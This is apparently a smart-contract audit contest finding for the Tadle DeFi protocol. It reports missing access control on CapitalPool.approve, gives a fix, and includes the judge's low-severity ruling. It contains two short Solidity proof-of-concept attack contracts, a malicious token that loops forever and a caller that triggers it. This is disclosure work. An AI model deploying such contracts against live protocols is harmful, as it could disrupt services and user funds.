Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: low
Valid

approve can be called arbitrarily, and the attacker constructs a malicious tokenAddr contract

Summary

A potential vulnerability in the CapitalPool contract that could allow a malicious contract to cause a denial of service (DoS) attack by calling the approve function.

Vulnerability Details

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/CapitalPool.sol#L20-L39

* @dev Approve token for token manager
* @notice only can be called by token manager
* @param tokenAddr address of token
*/
function approve(address tokenAddr) external {
address tokenManager = tadleFactory.relatedContracts(
RelatedContractLibraries.TOKEN_MANAGER
);
(bool success, ) = tokenAddr.call(
abi.encodeWithSelector(
APPROVE_SELECTOR,
tokenManager,
type(uint256).max
)
);
if (!success) {
revert ApproveFailed();
}
}

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L247

The approve function should only be called by the token manager, but in this contract, there is a risk of arbitrary calling of this function.

Write a malicious contract that performs some operations in the approve function, causing the CapitalPool contract to enter a denial of service (DoS) state.

The following is an example:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract MaliciousToken {
function approve(address spender, uint256 amount) external returns (bool) {
while (true) {
}
return true;
}
}

Impact

Attack steps

  1. Deploy the MaliciousToken contract.

  2. Deploy the Attack contract and pass in the CapitalPool contract address and the MaliciousToken contract address.

  3. Call the executeAttack function of the Attack contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface ICapitalPool {
function approve(address tokenAddr) external;
}
contract Attack {
ICapitalPool public capitalPool;
address public maliciousToken;
constructor(address _capitalPool, address _maliciousToken) {
capitalPool = ICapitalPool(_capitalPool);
maliciousToken = _maliciousToken;
}
function executeAttack() public {
capitalPool.approve(maliciousToken);
}
}

After calling the executeAttack function, the approve function of the MaliciousToken contract will be called and enter an infinite loop, consuming all the gas, causing the approve function of the CapitalPool contract to fail to execute normally, thus entering a denial of service (DoS) state.

Tools Used

Manual review

Recommendations

By adding permission checks, we ensure that only the token manager can call the approve function, thus preventing attacks from malicious contracts.

function approve(address tokenAddr) external {
address tokenManager = tadleFactory.relatedContracts(
RelatedContractLibraries.TOKEN_MANAGER
);
require(msg.sender == tokenManager, "Caller is not the token manager");
(bool success, ) = tokenAddr.call(
abi.encodeWithSelector(
APPROVE_SELECTOR,
tokenManager,
type(uint256).max
)
);
if (!success) {
revert ApproveFailed();
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-CapitalPool-approve-missing-access-control

This is at most low severity, even though giving max approvals shouldn't be permisionless, the respective tokenManager address is retrieved from the TadleFactory contract whereby the trusted guardian role is responsible for deploying such contracts as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/factory/TadleFactory.sol#L68). Since the user still has to go through the PreMarkets/DeliveryPlace contracts to perform market actions, this max approval cannot be exploited.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.